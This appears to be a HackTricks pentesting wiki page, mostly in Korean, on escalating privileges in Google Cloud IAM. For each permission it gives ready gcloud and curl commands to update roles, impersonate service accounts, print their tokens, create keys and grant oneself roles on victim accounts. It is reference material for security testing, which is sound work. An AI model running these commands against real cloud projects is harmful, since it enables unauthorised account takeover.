GCP - IAM Privesc

Reading time: 8 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

IAM

IAM에 대한 자세한 정보는 다음에서 확인하세요:

GCP - IAM, Principals & Org Policies Enum

iam.roles.update (iam.roles.get)

언급된 권한을 가진 공격자는 귀하에게 할당된 역할을 업데이트하고 다음과 같은 다른 리소스에 대한 추가 권한을 부여할 수 있습니다:

bash
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>

여기에서 취약한 환경의 생성, 악용 및 정리를 자동화하는 스크립트를 찾을 수 있으며, 이 권한을 악용하기 위한 파이썬 스크립트는 여기에서 확인할 수 있습니다. 더 많은 정보는 원본 연구를 확인하세요.

iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)

언급된 권한을 가진 공격자는 서비스 계정에 속하는 액세스 토큰을 요청할 수 있으므로, 우리의 권한보다 더 많은 권한을 가진 서비스 계정의 액세스 토큰을 요청할 수 있습니다.

bash
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token

여기에서 취약한 환경의 생성, 악용 및 정리를 자동화하는 스크립트와 이 권한을 악용하기 위한 파이썬 스크립트를 찾을 수 있습니다. 더 많은 정보는 원본 연구를 확인하세요.

iam.serviceAccountKeys.create

언급된 권한을 가진 공격자는 서비스 계정에 대한 사용자 관리 키를 생성할 수 있으며, 이를 통해 해당 서비스 계정으로 GCP에 접근할 수 있습니다.

bash
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

gcloud auth activate-service-account --key-file=sa_cred.json

다음은 취약한 환경의 생성, 악용 및 정리 자동화 스크립트와 이 권한을 악용하기 위한 파이썬 스크립트 여기에서 찾을 수 있습니다. 더 많은 정보는 원본 연구를 확인하세요.

iam.serviceAccountKeys.update는 SA의 키를 수정하는 데 작동하지 않습니다. 이를 위해서는 iam.serviceAccountKeys.create 권한도 필요합니다.

iam.serviceAccounts.implicitDelegation

iam.serviceAccounts.implicitDelegation 권한이 있는 서비스 계정이 iam.serviceAccounts.getAccessToken 권한을 가진 다른 서비스 계정이 있다면, implicitDelegation을 사용하여 해당 다른 서비스 계정을 위한 토큰을 생성할 수 있습니다. 설명을 돕기 위한 다이어그램은 다음과 같습니다.

문서에 따르면, gcloud의 위임은 generateAccessToken() 메서드를 사용하여 토큰을 생성하는 데만 작동합니다. 따라서 API를 직접 사용하여 토큰을 얻는 방법은 다음과 같습니다:

bash
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'

다음은 취약한 환경의 생성, 악용 및 정리를 자동화하는 스크립트와 이 권한을 악용하기 위한 파이썬 스크립트를 여기서 찾을 수 있습니다. 더 많은 정보는 원본 연구를 확인하세요.

iam.serviceAccounts.signBlob

언급된 권한을 가진 공격자는 GCP에서 임의의 페이로드에 서명할 수 있습니다. 따라서 SA의 서명되지 않은 JWT를 생성한 다음, 이를 블롭으로 보내어 우리가 목표로 하는 SA에 의해 JWT에 서명받을 수 있습니다. 더 많은 정보는 여기서 읽어보세요.

다음은 취약한 환경의 생성, 악용 및 정리를 자동화하는 스크립트와 이 권한을 악용하기 위한 파이썬 스크립트를 여기서여기서 찾을 수 있습니다. 더 많은 정보는 원본 연구를 확인하세요.

iam.serviceAccounts.signJwt

언급된 권한을 가진 공격자는 형식이 올바른 JSON 웹 토큰(JWT)에 서명할 수 있습니다. 이전 방법과의 차이점은 구글이 JWT를 포함하는 블롭에 서명하도록 하는 대신, 이미 JWT를 기대하는 signJWT 메서드를 사용한다는 것입니다. 이는 사용하기 더 쉽지만, 바이트 대신 JWT만 서명할 수 있습니다.

다음은 취약한 환경의 생성, 악용 및 정리를 자동화하는 스크립트와 이 권한을 악용하기 위한 파이썬 스크립트를 여기서 찾을 수 있습니다. 더 많은 정보는 원본 연구를 확인하세요.

iam.serviceAccounts.setIamPolicy

언급된 권한을 가진 공격자는 서비스 계정에 IAM 정책을 추가할 수 있습니다. 이를 악용하여 서비스 계정을 가장하는 데 필요한 권한을 부여할 수 있습니다. 다음 예제에서는 흥미로운 SA에 대해 roles/iam.serviceAccountTokenCreator 역할을 자신에게 부여하고 있습니다:

bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"

# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"

여기에서 취약한 환경의 생성, 악용 및 정리를 자동화하는 스크립트를 찾을 수 있습니다.

iam.serviceAccounts.actAs

iam.serviceAccounts.actAs 권한AWS의 iam:PassRole 권한과 유사합니다. 이는 Compute Engine 인스턴스를 시작하는 것과 같은 작업을 실행하는 데 필수적이며, 서비스 계정을 "actAs"할 수 있는 능력을 부여하여 안전한 권한 관리를 보장합니다. 이 권한이 없으면 사용자가 부당한 접근을 할 수 있습니다. 또한, iam.serviceAccounts.actAs를 악용하는 것은 다양한 방법을 포함하며, 각 방법은 특정 권한 세트를 요구하고, 다른 방법들은 단 하나의 권한만 필요로 합니다.

서비스 계정 가장하기

서비스 계정을 가장하는 것은 새롭고 더 나은 권한을 얻는 데 매우 유용할 수 있습니다. 다른 서비스 계정을 가장하는 세 가지 방법이 있습니다:

  • RSA 개인 키를 사용한 인증 (위에서 다룸)
  • Cloud IAM 정책을 사용한 권한 부여 (여기에서 다룸)
  • GCP 서비스에서 작업 배포 (사용자 계정의 손상에 더 적용 가능)

iam.serviceAccounts.getOpenIdToken

언급된 권한을 가진 공격자는 OpenID JWT를 생성할 수 있습니다. 이는 신원을 주장하는 데 사용되며, 리소스에 대한 암묵적인 권한 부여를 반드시 포함하지는 않습니다.

흥미로운 게시물에 따르면, 청중(토큰을 사용하여 인증하려는 서비스)을 지정해야 하며, 그러면 서비스 계정과 JWT의 청중을 나타내는 Google에 의해 서명된 JWT를 받게 됩니다.

접근 권한이 있는 경우 OpenIDToken을 생성할 수 있습니다:

bash
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com

그럼 다음과 같이 서비스를 액세스하는 데 사용할 수 있습니다:

bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app

다음과 같은 토큰을 통해 인증을 지원하는 서비스가 있습니다:

서비스 계정을 대신하여 OpenID 토큰을 생성하는 방법에 대한 예시는 여기에서 확인할 수 있습니다.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기